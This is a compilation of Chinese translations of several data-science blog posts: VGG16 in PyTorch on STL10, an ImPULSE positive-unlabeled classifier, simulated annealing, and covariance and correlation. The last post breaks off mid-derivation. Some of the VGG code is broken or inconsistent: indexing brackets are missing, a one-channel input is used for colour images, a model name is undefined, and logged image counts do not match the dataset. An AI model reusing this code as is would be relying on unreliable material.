TowardsDataScience-2023-博客中文翻译-六-
TowardsDataScience 2023 博客中文翻译(六)
VGG 的实现
原文:
towardsdatascience.com/an-implementation-of-vgg-dea082804e14
面向初学者的教程
·发表于 Towards Data Science ·9 分钟阅读·2023 年 10 月 31 日
--
在这篇文章中,我们查看 VGG 的实现及其在 STL10 [2, 3]数据集上的训练。
我们在上一篇文章中回顾了 VGG 架构。如果不熟悉,请查看。
VGG 和 ResNet 架构自 2014 年
[towardsdatascience.com
简而言之,
VGG 代表 视觉几何组 ,是牛津大学的一个研究*组。2014 年,他们设计了一种用于图像分类任务的深度卷积神经网络架构,并以他们自己命名;即 VGG [1].
VGGNet 有几种配置,如 VGG16(16 层)和 VGG19(19 层)。
VGG16 的架构如下:它有 13 个卷积层和 3 个全连接层。
作者提供的图像
模型实现
让我们在 PyTorch 中实现 VGG16。
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torchvision
import torchvision.transforms as transforms
import numpy as np
import matplotlib.pyplot as plt
class VGG16(nn.Module):
def __init__(self, input_channel, num_classes):
super(VGG16, self).__init__()
self.features = nn.Sequential(
nn.Conv2d(input_channel, 64, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(64, 64, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d(64, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d(128, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d(256, 512, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(512, 512, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(512, 512, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d(512, 512, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(512, 512, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(512, 512, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2)
)
self.classifier = nn.Sequential(
nn.Linear(512 * 3* 3, 4096), nn.ReLU(True), nn.Dropout(),
nn.Linear(4096, 4096), nn.ReLU(True), nn.Dropout(),
nn.Linear(4096, num_classes)
)
请注意,实现的结构基于两个属性:
-
特征:包含所有的卷积层和最大池化层
-
分类器:包含全连接层和用于分类的 softmax 层
还需注意,我们将input_channel作为输入参数传递。该参数为 3 时表示图像为彩色,为 1 时表示图像为灰度。
最后但同样重要的是,第一个全连接层是nn.Linear(512 * 3 * 3, 4096). 之所以输入*度是512 * 3 * 3,是因为我们设置它以适应输入图像为96 * 96。如果我们传递不同尺寸的图像,则需要更改此值。例如,对于 224 * 224 的图像,该层变为nn.Linear(512 * 7 * 7, 4096).
然后我们实现forward()方法:
def forward(self, x):
layer_outputs = []
for i in range(len(self.features)):
x = self.featuresi
layer_outputs.append(x)
x = x.view(x.size(0), -1)
for i in range(len(self.classifier)):
x = self.classifieri
layer_outputs.append(x)
return x, layer_outputs
现在网络已经完成,让我们通过它传递一个随机张量,并查看它在经过各层时形状的变化。
vgg_model = VGG16(3, 10)
input_tensor = torch.rand(1, 3, 96, 96)
x, layer_outputs = vgg_model(input_tensor)
for l in layer_outputs:
print(l.shape)
它打印出以下形状:
torch.Size([1, 64, 96, 96])
torch.Size([1, 64, 96, 96])
torch.Size([1, 64, 96, 96])
torch.Size([1, 64, 96, 96])
torch.Size([1, 64, 48, 48])
torch.Size([1, 128, 48, 48])
torch.Size([1, 128, 48, 48])
torch.Size([1, 128, 48, 48])
torch.Size([1, 128, 48, 48])
torch.Size([1, 128, 24, 24])
torch.Size([1, 256, 24, 24])
torch.Size([1, 256, 24, 24])
torch.Size([1, 256, 24, 24])
torch.Size([1, 256, 24, 24])
torch.Size([1, 256, 24, 24])
torch.Size([1, 256, 24, 24])
torch.Size([1, 256, 12, 12])
torch.Size([1, 512, 12, 12])
torch.Size([1, 512, 12, 12])
torch.Size([1, 512, 12, 12])
torch.Size([1, 512, 12, 12])
torch.Size([1, 512, 12, 12])
torch.Size([1, 512, 12, 12])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 6, 6])
torch.Size([1, 512, 3, 3])
torch.Size([1, 4096])
torch.Size([1, 4096])
torch.Size([1, 4096])
torch.Size([1, 4096])
torch.Size([1, 4096])
torch.Size([1, 4096])
torch.Size([1, 10])
所以最终输出是一个 10 *的向量,表示图像属于 10 个类别中任何一个类别的概率。
数据转换 — STL10
现在,让我们在 STL10 数据集[2,3]上进行训练,该数据集已获得商业使用许可。此数据集包含 5000 张彩色图像,分为 10 个类别。
每张图像为 96x96 像素,10 个类别如下:
classes = ('airplane', 'bird', 'car', 'cat', 'deer', 'dog',\
'horse', 'monkey', 'ship', 'truck')
让我们加载数据并查看一些图像:
transform = transforms.Compose([
transforms.ToTensor()
])
trainset = torchvision.datasets.STL10(root = './data', split = 'train', download = True, transform=transform)
trainloader = torch.utils.data.DataLoader(trainset, batch_size=len(trainset))
classes = ('airplane', 'bird', 'car', 'cat', 'deer', 'dog',\
'horse', 'monkey', 'ship', 'truck')
images, target = next(iter(trainloader))
np_images = images.numpy() # convert to numpy
# display one image
plt.imshow(np.transpose(np_images[0], (1, 2, 0)))
plt.title(f'class: {classes[target[0]]}')
plt.axis('off')
plt.show()
# display another image
plt.imshow(np.transpose(np_images[1], (1, 2, 0)))
plt.title(f'class: {classes[target[1]]}')
plt.axis('off')
plt.show()
它打印这些图像及其标签:
图片来源于作者
接下来,让我们对数据进行标准化。为了标准化数据,我们首先计算均值和标准差:
transform = transforms.Compose([
transforms.ToTensor()
])
trainset = torchvision.datasets.STL10(root = './data', split = 'train', download = True, transform=transform)
trainloader = torch.utils.data.DataLoader(trainset, batch_size=len(trainset))
classes = ('airplane', 'bird', 'car', 'cat', 'deer', 'dog',\
'horse', 'monkey', 'ship', 'truck')
images, target = next(iter(trainloader))
np_images = images.numpy() # convert to numpy.
# calculate mean and std for each channel
mean = np.mean(np_images, axis=(0,2,3))
std = np.std(np_images, axis=(0,2,3))
请注意,在trainloader中,我们设置了batch_size = len(trainset),以便加载整个数据集来计算均值和标准差。之后,当我们想要训练模型时,我们将数据以 128 张图像的*批量加载。
从上面可以看出,np_images的形状是(5000, 3, 96, 96),即 5000 张 96x96 像素的彩色图像(注意通道数为 3,表示图像是彩色的)。因此,均值和标准差如下:
均值 = [0.44671103, 0.43980882, 0.40664575]
标准差 = [0.2603408, 0.25657743, 0.2712671
我们将使用这个均值和标准差来标准化测试数据和训练数据。让我们定义每个数据集的转换:
# train transformation
transform_train = transforms.Compose([
transforms.RandomCrop(96, padding = 4), # we first pad by 4 pixels on each side then crop
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize((0.44671103, 0.43980882, 0.40664575), (0.2603408 , 0.25657743, 0.2712671))
])
# test transformation
transform_test = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.44671103, 0.43980882, 0.40664575), (0.2603408 , 0.25657743, 0.2712671))
])
trainset = torchvision.datasets.STL10(root = './data', split = 'train', download = True, transform=transform_train)
trainloader = torch.utils.data.DataLoader(trainset, batch_size = 128, shuffle = True, num_workers = 2)
testset = torchvision.datasets.STL10(root = './data', split = 'test', download = True, transform=transform_test)
testloader = torch.utils.data.DataLoader(testset, batch_size = 256, shuffle = True, num_workers = 2)In above transformation that we have defined on train data you see that we are augmenting the data by cropping a random 28x28 patch and flipping it. The reason we augment the data is to increase diversity in the training data and force the model to learn better.
训练模型
我们首先定义超参数,例如:
-
学习率
-
学习率调度器
-
损失函数:用于分类的交叉熵
-
优化器
# instantiate the model
vgg_model = VGG16(input_channel=1, num_classes=10)
device = 'cuda' if torch.cuda.is_available() else 'cpu'
vgg_model = vgg_model.to(device)
# define hyper-parameters: learning rate, optimizer, scheduler
lr = 0.00001
criterion = nn.CrossEntropyLoss()
vgg_optimizer = optim.SGD(vgg_model.parameters(), lr = lr, momentum=0.9, weight_decay = 5e-4)
vgg_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(vgg_optimizer, T_max = 200)And we write the train function on each batch:
接下来,我们定义两个函数:
方法 1: train_batch:对于数据中的所有批次,它训练模型,计算损失并更新参数。此方法应用反向传播并计算训练损失。
def train_batch(epoch, model, optimizer):
print("epoch ", epoch)
model.train()
train_loss = 0
correct = 0
total = 0
for batch_idx, (input, targets) in enumerate(trainloader):
inputs, targets = input.to(device), targets.to(device)
optimizer.zero_grad()
outputs, _ = model(inputs)
loss = criterion(outputs, targets)
loss.backward()
optimizer.step()
train_loss += loss.item()
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
print(batch_idx, len(trainloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'
% (train_loss/(batch_idx+1), 100.*correct/total, correct, total))
方法 2:是 validate_batch 函数,其中我们在测试加载器的一个批次上验证模型。通常,在每个训练周期之后,我们调用此函数来获取模型在每个训练周期末的性能。此函数计算测试集(即未见数据)的损失,并且不进行任何反向传播。
def validate_batch(epoch, model):
model.eval()
test_loss = 0
correct = 0
total = 0
with torch.no_grad():
for batch_idx, (inputs, targets) in enumerate(testloader):
inputs, targets = inputs.to(device), targets.to(device)
outputs,_ = model(inputs)
loss = criterion(outputs, targets)
test_loss += loss.item()
_, predicted = outputs.max(1)
total += targets.size(0)
correct += predicted.eq(targets).sum().item()
print(batch_idx, len(testloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'
% (test_loss/(batch_idx+1), 100.*correct/total, correct, total))
让实际训练开始 …
对于每一个训练周期,我们训练模型并检查模型在测试数据集上的表现。我们调用vgg_scheduler.step(),然后通知调度器递增其内部计数器并更新学习率。
start_epoch = 0
for epoch in range(start_epoch, start_epoch+20):
train_batch(epoch, vgg_model, vgg_optimizer)
validate_batch(epoch, vgg_model)
vgg_scheduler.step()
我们看到以下性能:
epoch 0
390 391 Loss: 5.506 | Acc: 24.864% (12432/50000)
39 40 Loss: 4.512 | Acc: 49.780% (4978/10000)
epoch 1
390 391 Loss: 5.140 | Acc: 33.226% (16613/50000)
39 40 Loss: 4.156 | Acc: 57.120% (5712/10000)
epoch 2
390 391 Loss: 4.978 | Acc: 36.594% (18297/50000)
39 40 Loss: 3.953 | Acc: 60.450% (6045/10000)
epoch 3
390 391 Loss: 4.908 | Acc: 38.498% (19249/50000)
39 40 Loss: 3.898 | Acc: 69.430% (6943/10000)
epoch 4
390 391 Loss: 4.827 | Acc: 39.982% (19991/50000)
39 40 Loss: 3.631 | Acc: 68.240% (6824/10000)
epoch 5
390 391 Loss: 4.767 | Acc: 40.876% (20438/50000)
39 40 Loss: 3.677 | Acc: 71.260% (7126/10000)
epoch 6
390 391 Loss: 4.686 | Acc: 42.356% (21178/50000)
39 40 Loss: 3.180 | Acc: 73.560% (7356/10000)
epoch 7
390 391 Loss: 4.664 | Acc: 42.606% (21303/50000)
39 40 Loss: 3.259 | Acc: 76.920% (7692/10000)
epoch 8
390 391 Loss: 4.653 | Acc: 43.014% (21507/50000)
39 40 Loss: 3.118 | Acc: 77.150% (7715/10000)
epoch 9
390 391 Loss: 4.606 | Acc: 43.762% (21881/50000)
39 40 Loss: 2.961 | Acc: 75.850% (7585/10000)
epoch 10
390 391 Loss: 4.608 | Acc: 43.802% (21901/50000)
39 40 Loss: 2.840 | Acc: 81.130% (8113/10000)
epoch 11
390 391 Loss: 4.582 | Acc: 44.156% (22078/50000)
39 40 Loss: 2.878 | Acc: 80.810% (8081/10000)
....
...
..
我们看到模型在第 11 个周期的准确率达到 80.8%。
接下来,让我们查看 10 张图像以及模型对它们标签的预测:
model = vgg19_model
mean = [0.44671103, 0.43980882, 0.40664575]
std = [0.2603408 , 0.25657743, 0.2712671]
# Evaluate the model on random images and display results
for _ in range(10):
# Get a random test image
data, target = next(iter(testloader))
# Get model's predictions
output, _ = model(data.to(device))
_, predicted = torch.max(output, 1)
# Display the image along with predicted and actual labels
# Unnormalize the image
display_img = data[0]
unnormalized_image = display_img.clone() # Create a copy to avoid modifying the original tensor
for i in range(3):
unnormalized_image[i] = (unnormalized_image[i] * std[i]) + mean[i]
plt.imshow(np.transpose(unnormalized_image.numpy(), (1, 2, 0)))
plt.title(f'Predicted: {classes[predicted[0]]}, Actual: {classes[target[0]]}')
plt.axis('off')
plt.show()
例如,我们看到以下图像是一只鸟,模型正确地预测为鸟。
图片来源于作者
然后我们看到一个错误预测的例子,其中图像是一架飞机,但 VGG 将其预测为一只鸟:
图片来源于作者
这就结束了我们对 VGG 模型的实现部分。我们看到 VGG 具有非常深的架构和许多参数,但其实现非常直接,这归功于其架构的统一性。
到目前为止,我们已经回顾了 VGG 和 ResNet 的概念以及 VGG 的代码。在下一篇文章中,我们可以查看 ResNet 的实现。
如有任何评论或问题,请告知我。
如果你有任何问题或建议,请随时联系我:
邮箱: mina.ghashami@gmail.com
LinkedIn: www.linkedin.com/in/minaghashami/
参考资料
An imPULSE to Action: A Practical Solution for Positive-Unlabeled Classification
我们介绍了一种称为ImPULSE Classifier的方法,与其他方法相比,在平衡和不平衡的 PU 数据上表现更佳
·
关注 发表在 Towards Data Science ·5 分钟阅读·2023 年 4 月 6 日
--
根据作者的描述,由 DALL-E-2 制作
在数据科学中,正负未标记的数据集,即正负未标记(PU)数据集,呈现出一个常见但具有挑战性的问题。PU 数据集的特点是存在未标记的数据,其中正实例未被明确标记为正。PU 数据集经常出现在商业场景中,其中只有一*部分数据被标记。其余未标记的样本可能属于正类或负类。这些场景包括欺诈检测、产品推荐、交叉销售或客户保留。目标是准确地将未标记数据分类为正类或负类,利用现有的标记数据。
作者提供的图像
朴素方法
处理此任务时,首先想到的二分类方法是朴素方法。它涉及将未标记的数据视为负类样本。然而,这种方法在处理不平衡数据集时表现有限,即数据集中存在大量未知正样本。此外,它依赖于一个假设,即未标记数据中正样本的比例足够*,不会显著影响模型的性能。尽管实现起来很简单,但朴素方法可能并不适用于所有场景,并且在实践中常常导致性能不佳。
Elkan 和 Noto 的方法
更复杂的正负未标记分类方法是 Elkan 和 Noto 的 (E&N) 方法。在这种方法中,我们通常训练一个分类器来预测样本被标记的概率,并进一步使用模型来估计正样本被标记的概率。然后,将未标记样本被标记的概率除以正样本被标记的概率,以获得样本为正的实际概率。你可以在这里找到关于它如何工作的详细解释。
尽管 E&N 方法在实践中有效,但它需要大量标记数据来准确估计样本为正的概率,而在现实场景中,标记数据稀缺,这可能是不切实际的。
定制自我训练方法
然而,我们的团队开发了一种定制的 ImPULSE(代表不平衡正负未标记学习与自我丰富)解决方案,解决了这一问题,并在平衡和不平衡数据集上,相较于 E&N 方法表现更佳,即使在高比例的未知正标签情况下也是如此。
ImPULSE 分类器是对任何(潜在的)监督分类方法的一种修改,能够以半监督的方式工作。我们使用 LightGBM(作为基础估计器)以及一种修改后的工作流程,将所有预测概率作为训练集中每个样本的权重。这不仅使我们能够为模型训练的下一次迭代添加新的伪标签,还能使模型关注最有前途(有效)的负样本,从而使模型在更大、更具多样性的数据集上进行更有信心的再训练。此外,我们在每次迭代时提供调整后的类别权重,以处理不平衡数据。
图片由作者提供
我们的方法通常涉及在可用数据上训练分类器,并使用它对未标记数据进行预测(以自我训练方式)。我们首先将数据拆分为训练集和留出评估集。然后,我们训练模型,同时监控其在评估集上的表现,以防止过拟合。
接下来,我们使用训练好的模型预测未标记数据的标签,并选择具有高置信度预测的样本作为正例。我们使用这些正例来更新标记数据,并迭代地重新训练模型。为了防止过拟合,我们实施了基于平均精度指标的自定义早停策略。
为了加速收敛,我们在每次迭代时提高学习率,使模型能更快地从更新的标记数据集中学习,并对未标记数据做出更好的预测。这个迭代过程会持续直到满足停止标准。总体而言,我们的方法专注于用有信息量的正例更新标记数据,并有效地防止过拟合,以提升模型性能。
实验运行
此外,我们希望解释如何评估三种提到的方法在分类正负未标记数据方面的性能。为此,我们开发了一个实验流程,利用了 LightGBM 分类器、一个独立的朴素估计器、E&N Noto 方法的 Python 实现以及我们自定义的自我训练算法。
为了创建一个受控的环境,我们使用 Scikit-learn 的 make_classification 函数生成了一个合成数据集,然后将其拆分为训练集和测试集。我们定义了希望执行的迭代次数,对应于要隐藏的正标签比例,然后通过在每次迭代时删除相应的标签来迭代地修改训练集。
在每次迭代中,我们将所有模型拟合到(修改后的)训练数据上,并在测试集上获取预测结果。我们使用预测标签和测试标签计算了 F1 分数,这是一种结合了精确率和召回率的指标。通过这样做,我们能够更严格地评估每种方法的性能,并在不同条件下进行比较。
下面是所有实验运行的结果:
您可以在Jovian 上找到相应的演示笔记本,以及在GitHub 仓库中的完整代码。
结论
因此,我们开发了一种定制解决方案,用于正无标签分类,相比于 E&N 方法在平衡和不平衡数据集上显示出了性能提升。我们的方法涉及使用可用数据训练分类器,并以自训练方式对未标记数据进行预测。这种解决方案被用作交叉销售和客户流失等应用分析工具中的核心分类算法。尽管我们的方法可能还不像E&N 方法的已知 Python 实现那样强大和通用(但),但在实际业务场景中,我们的方法可能被视为一种实用选择,用于 PU 数据的分类。
参考阅读
-
Dobilas Saul. “自训练分类器:如何使任何算法表现得像半监督学习算法。”,2021
-
Agmon Alon. “半监督分类无标签数据(PU 学习)。”,2022
-
Holomb, Volodymyr. “在商业分析中评估正无标签(PU)分类器的实用方法。”,2023
强大的优化技术简介:模拟退火
这完全与温度有关。图像由 Dall-E 2 提供。
解释、参数、优点、缺点和使用案例
·发表于 Towards Data Science ·9 分钟阅读·2023 年 3 月 15 日
--
模拟退火是一种优化技术,试图为数学优化问题找到全局最优解。这是一种很棒的技术,你可以将其应用于广泛的问题。在本文中,我们将深入探讨模拟退火的定义、优点、缺点和使用案例。
你不应该有最喜欢的机器学习模型或优化技术。但人们确实有他们的偏爱,比如 LightGBM。在优化方面,我喜欢的一种技术是模拟退火。它易于理解,适用于许多不同类型的问题。
本文需要有关数学优化问题和局部搜索的知识。如果你没有这些知识,这篇文章是一个很好的起点。
什么是模拟退火?
模拟退火(SA)是一种随机优化算法,用于寻找成本函数的全局最*值。它是一种局部搜索的元启发式方法,解决了陷入局部最*值的问题。该算法基于冶金中的退火过程,其中金属被加热然后缓慢冷却。通过这种方式,金属变得柔软,并为进一步加工做好准备。该算法在1983 年的这篇论文中介绍。
在模拟退火(SA)中,算法从一个初始解和一个较高的初始温度开始。通过对解进行随机变化来扰动该解,然后使用目标函数评估结果的新解。如果新解更好(即,成本更低),则接受它作为新的当前解。如果新解更差(即,成本更高),它仍然有可能被接受,这个接受的概率取决于温度和恶化的程度,这称为接受值。这个想法是允许算法在过程的早期偶尔接受更差的解,以探索更广泛的解范围,并避免陷入局部最*值。
通常使用Metropolis 接受准则来计算接受值。输入包括温度以及邻域解(新解)和当前解之间的分数差异。首先计算差异,如果低于零则接受当前解。如果高于零,则计算接受值,即在更差时接受此解的概率:
随着算法的进展,温度会根据冷却计划逐渐降低。这减少了接受较差解的可能性,并允许算法向全局最*值收敛。可以使用不同类型的冷却计划,例如线性、对数或几何冷却。
SA 在找到一个满意的解,或者达到最大迭代次数或某些收敛标准时终止。
基本版本的模拟退火中使用的伪代码和函数。
参数
如果你想充分发挥模拟退火实现的优势(显然你是这样想的),那么注意其参数是很重要的。以下是最重要的参数:
温度和冷却计划
初始温度是系统的起始温度,并决定接受较差解的概率。如果初始温度过高,算法可能会接受过多的糟糕解;而如果温度过低,算法可能会陷入局部最*值。
直接相关的是冷却计划:它决定了在退火过程中温度下降的速度。如果冷却计划过于缓慢,算法可能无法在合理的时间内收敛到一个好的解;而如果冷却计划过于迅速,算法可能会收敛到一个次优解。
不同的冷却计划用于确定给定迭代的温度。初始温度设置为 100,迭代限制为 100。图像由作者提供。
接受准则
接受标准决定了接受或拒绝新解决方案的阈值。接受标准的值是指在新解决方案的得分低于当前解决方案的情况下接受新解决方案的概率。它基于新解决方案得分与当前解决方案得分之间的差异。
以下是与不同冷却计划相关的不同增量(1、10 和 100)的接受值:
不同增量和冷却计划的接受值。作者提供的图片。
所以如果我们看一个例子,迭代次数 75 和增量 10,接受解决方案的概率是:
差异相当大!这就是为什么测试不同参数的冷却计划很重要。
迭代次数
迭代次数应设置得足够高,以允许算法收敛到良好的解决方案,但又不至于过高,以至于算法运行时间过长。
邻域函数
这是可以应用于当前解决方案以生成新解决方案的一组操作。邻域函数应该谨慎选择,以平衡对搜索空间的探索和对良好解决方案的利用。对于每个问题,你可以用不同的方法构造它。以下是旅行商问题的 4 种不同的局部移动类型:
旅行商问题的常见局部移动。作者提供的图片。
优势与劣势
SA 强大且有效。以下是该元启发式算法的五个优点:
优势 1. 有效寻找全局最优解
与局部搜索不同,SA 旨在找到成本函数的全局最*值。通过允许随机移动和以概率接受更差的解决方案,它可以有效地搜索大范围的解决方案空间,找到全局最优解,即使在存在局部最优解的情况下。
下面你可以看到当你应用局部搜索而没有像 SA 这样的元启发式算法时会发生什么。你从某个地方开始,只接受更好的解决方案。然后你会陷入局部最*值:
局部搜索。最终解决方案取决于起始解决方案。作者提供的 GIF。
模拟退火可以逃离局部最*值,因为它接受更差的解决方案。如果我们从相同的解决方案开始,SA 可能会这样发生:
模拟退火搜索最优解。作者提供的 GIF。
除了 SA,你可以尝试其他元启发式算法以逃离局部最*值,如迭代局部搜索或禁忌搜索。
优势 2. 鲁棒性
模拟退火可以处理各种优化问题,具有不同类型的成本函数、约束条件和搜索空间。它不依赖于关于成本函数本质的假设,并且对输入中的噪声和不确定性具有鲁棒性。
优势 3. 灵活性
另一个优势是模拟退火(SA)可以很容易地自定义和适应不同的问题领域和搜索空间。冷却计划、邻域结构和接受标准可以调整以适应特定的解决问题。
优势 4. 高效
通常,算法在找到解决方案所需的计算资源方面是高效的。它通常能迅速找到良好的解决方案,尤其是在算法的早期阶段,当允许大的随机移动时。如果问题很大,使用 SA 而不是像 MIP 这样的精确算法可以节省大量时间,同时仍能获得高质量的解决方案。
优势 5. 可并行化
并行化可以实现更快的优化和同时搜索更广泛的解决方案范围。SA 容易并行化。以下是设置并行化的代码片段:
import multiprocessing as mp
import numpy as np
def simulated_annealing(problem: Problem, seed: int):
# Set up problem-specific variables
# Initialize a starting solution
# Run simulated annealing algorithm
# Return best solution found
best_solution = np.random.randint(0, 30)
return best_solution
def parallel_simulated_annealing(problem: Problem, n_processes: int = 5):
seeds = np.random.randint(0, 2**32-1, size=n_processes)
pool = mp.Pool(n_processes)
results = [pool.apply_async(simulated_annealing, args=(problem, seed)) for seed in seeds]
pool.close()
pool.join()
best_solution = results[0].get()
for r in results[1:]:
s = r.get()
if problem.is_better(s, best_solution):
best_solution = s
return best_solution
class Problem:
def __init__(self):
# Set up the problem
pass
def is_better(self, s, best_solution):
if s < best_solution:
return True
else:
return False
if __name__ == '__main__':
solution = parallel_simulated_annealing()
注意,simulated_annealing
和Problem
类的实现非常简单且不真实。返回一个随机数,最低的被接受为最佳解。
与任何优化技术一样,也有一些缺点。以下是最重要的几点:
劣势 1. 调优
需要调优。例如,冷却计划、邻域结构和接受标准需要调整以获得良好的结果。要微调这些参数,最好结合领域知识和实验。调优不仅对不同问题重要,对于结构相同但大*不同的问题,可能也需要不同的参数。
劣势 2. 无法保证最优解
模拟退火不能保证找到全局最优解,因为它依赖于概率性移动和接受较差的解。它只能保证找到局部最优解。使用 SA 时,你不知道最优解和当前最佳解之间的差距,而使用精确算法可以知道这个差距。
Gurobi 日志显示当前解决方案和最佳可能解决方案之间的百分比差距。图片由作者提供。
劣势 3. 收敛慢
在某些情况下,SA 的收敛可能较慢,特别是对于具有大搜索空间的复杂问题。这可能使得它对于时间限制紧迫的问题效率低下。解决这个问题的一种方法是指定时间限制。
你什么时候应该尝试模拟退火?
有几个使用场景非常适合模拟退火。组合优化问题具有大搜索空间和非凸目标函数,非常适合模拟退火。例子包括最*生成树问题、旅行商问题、带容量的车辆路径问题或图着色问题。
对于非线性优化问题,模拟退火算法可能会有效。如果这些问题有多个局部最优点,传统的基于梯度的优化技术可能会失败。例如,模拟退火算法已经被用于蛋白质折叠和分子构象问题。
另一方面,对于某些类型的问题,你不应考虑模拟退火。对于凸优化问题,传统的基于梯度的优化技术通常更为高效和有效。
对于大规模优化问题,尤其是高*搜索空间中的问题,模拟退火可能计算开销大且速度慢。在这些情况下,其他优化技术,如遗传算法或粒子群优化,可能更为有效,因为它们可以同时考虑多个解。
蛋白质折叠。照片由国家癌症研究所提供,发布在Unsplash
结论
模拟退火是一种基于冶金中退火物理过程的随机优化算法。它通过允许随机移动和对较差解的概率接受,来寻找成本函数的全局最*值,从而有效地搜索大型解空间并避免陷入局部最优。模拟退火算法强大、鲁棒、灵活、高效且可并行化。然而,它需要调优,不能保证找到全局最优,并且在某些情况下可能收敛缓慢。为了获得最佳结果,重要的是关注其参数,如初始温度、降温计划、邻域函数、接受准则和迭代次数。对于一些使用场景,你应该考虑其他技术,如遗传算法或粒子群优化。
相关内容
一个逐步指南,帮助你为数学优化问题做出正确选择。
towardsdatascience.com ## 五种将数学优化与机器学习结合的方法
结合两种力量的实际示例。
[towardsdatascience.com ## 数学优化启发式算法每个数据科学家都应该知道
本地搜索、遗传算法等等。
[towardsdatascience.com
协方差和相关性的介绍
对一些非常常见的关联度量的简要介绍
·
关注 发表在 Towards Data Science · 6 min 阅读 · 2023 年 3 月 25 日
--
Richard Horvath 的照片,来自 Unsplash
介绍
理解变量之间的关联对于构建准确的模型和做出明智的决策至关重要。统计学可能是一门混乱的学科,充满了噪音和随机变异。然而,通过识别变量之间的模式和联系,我们可以深入了解变化的特征如何相互影响。对于数据科学家和数据分析师而言,这些关联极其有用,特别是在分析和模型构建方面。
鉴于此,协方差和相关性是描述变量之间关系的两个基本统计概念。尽管它们在本质上是相似的,但在描述关联时确实有所不同。但是,正如我们将很快发现的,这些差异更多的是表面上的,而不是实质上的,它们实际上只是同一事物的不同方面。因此,今天我们将探讨协方差和相关性是什么,它们是如何计算的,以及它们的含义。
协方差
为了激发这个讨论,假设我们有两个随机变量X和Y,我们对它们特别感兴趣。我不会对它们的分布做任何具体假设,只是说它们是根据某个函数f(x, y)联合分布的。在这种情况下,考虑X和Y共同变化的程度是很有趣的,这正是协方差所测量的:它是两个随机变量的联合变异性的度量。
如果我们把X和Y看作连续随机变量,那么协方差可以表示为:
协方差的定义(图片由作者提供)。
这里的积分使这个方程看起来比实际要复杂,而实际上这里只是对联合空间进行平均计算。这个事实可以通过使用期望值运算符E[⋅]来更清楚地呈现,它提供了一个更易于接受的数学表达式来表示协方差:
使用期望运算符定义协方差(图片由作者提供)。
所以,我们在这里看到的是,协方差是对均值中心化的X和Y变量的乘积取期望(或平均)。实际上,这可以进一步简化,因为期望具有相当好的线性特性:
使用期望的线性特性进一步简化协方差的定义(图片由作者提供)。
我们现在可以看到,协方差只是变量乘积的均值减去它们均值乘积的结果。此外,还有一个有趣的事实:方差是协方差的一个特殊情况,简单来说,就是变量与自身的协方差:
变量自身的协方差就是方差(图片由作者提供)。
从根本上说,协方差是任何联合概率分布的一个特性,并且是其本身的一个总体参数。这意味着,如果我们只有X和Y的样本,我们可以使用以下公式计算样本协方差:
样本协方差(图片由作者提供)。
好的,那么在实际中协方差意味着什么?
简单来说,协方差衡量了一个变量的值与另一个变量的值之间的关系程度,这种关系可以是正的也可以是负的。正协方差表明这两个变量倾向于朝相同方向变化。例如,如果X的较大值通常与Y的较大值一致,那么协方差就是正的。如果较低的值也一致,则也是如此。然而,负协方差则表明值倾向于朝相反方向变化:例如,大的X值对应低的Y值时,就会出现这种情况。
协方差的一个有用特性是它的符号描述了X和Y之间的线性关系的倾向。也就是说,它所表达的实际单位并不特别有用。请记住,我们在计算X和Y的乘积,因此协方差本身的单位也是X × Y。这可能使得数据之间的比较变得困难,因为测量的尺度是重要的。
相关性
我们通常所说的相关性是通过 Pearson 的积矩相关系数来衡量的,该系数通常用ρ表示。如果你觉得协方差听起来很像相关性,那你没错。这是因为相关系数只是协方差的标准化版本,其中标准化因子是标准差的乘积。
Pearson 的积矩相关系数(作者提供的图片)。
我们还可以使用以下公式从数据中估计相关系数:
样本相关系数(作者提供的图片)。
这种标准化的结果是,相关系数的值只能在-1 和 1 之间,其中-1 表示完全负相关,1 表示完全正相关,0 表示没有相关性。这样,它测量了两个变量之间关系的强度和方向。这样做的好处是,相关系数是标准化的度量,意味着它不受涉及变量的尺度影响。这解决了协方差的一个内在问题,使得比较不同变量集之间的相关性变得更容易。
然而,虽然相关系数估计了关系的强度,但它无法完全描述数据。Anscombe 的四重奏很好地展示了这一点,显示了数据中的不同模式如何产生相同的相关系数。最终,Pearson 的相关系数只有在数据是多元正态分布时才提供完整的描述。如果不是这样,则相关系数仅提供指示,并需要与数据的视觉检查结合考虑。
协方差、相关性与独立性
假设随机变量X和Y是统计独立的。在独立性假设下,X和Y的期望值为:
两个独立随机变量的期望(图片由作者提供)。
如果我们将这个代入协方差的表达式中,我们会发现
独立随机变量的协方差(图片由作者提供)。
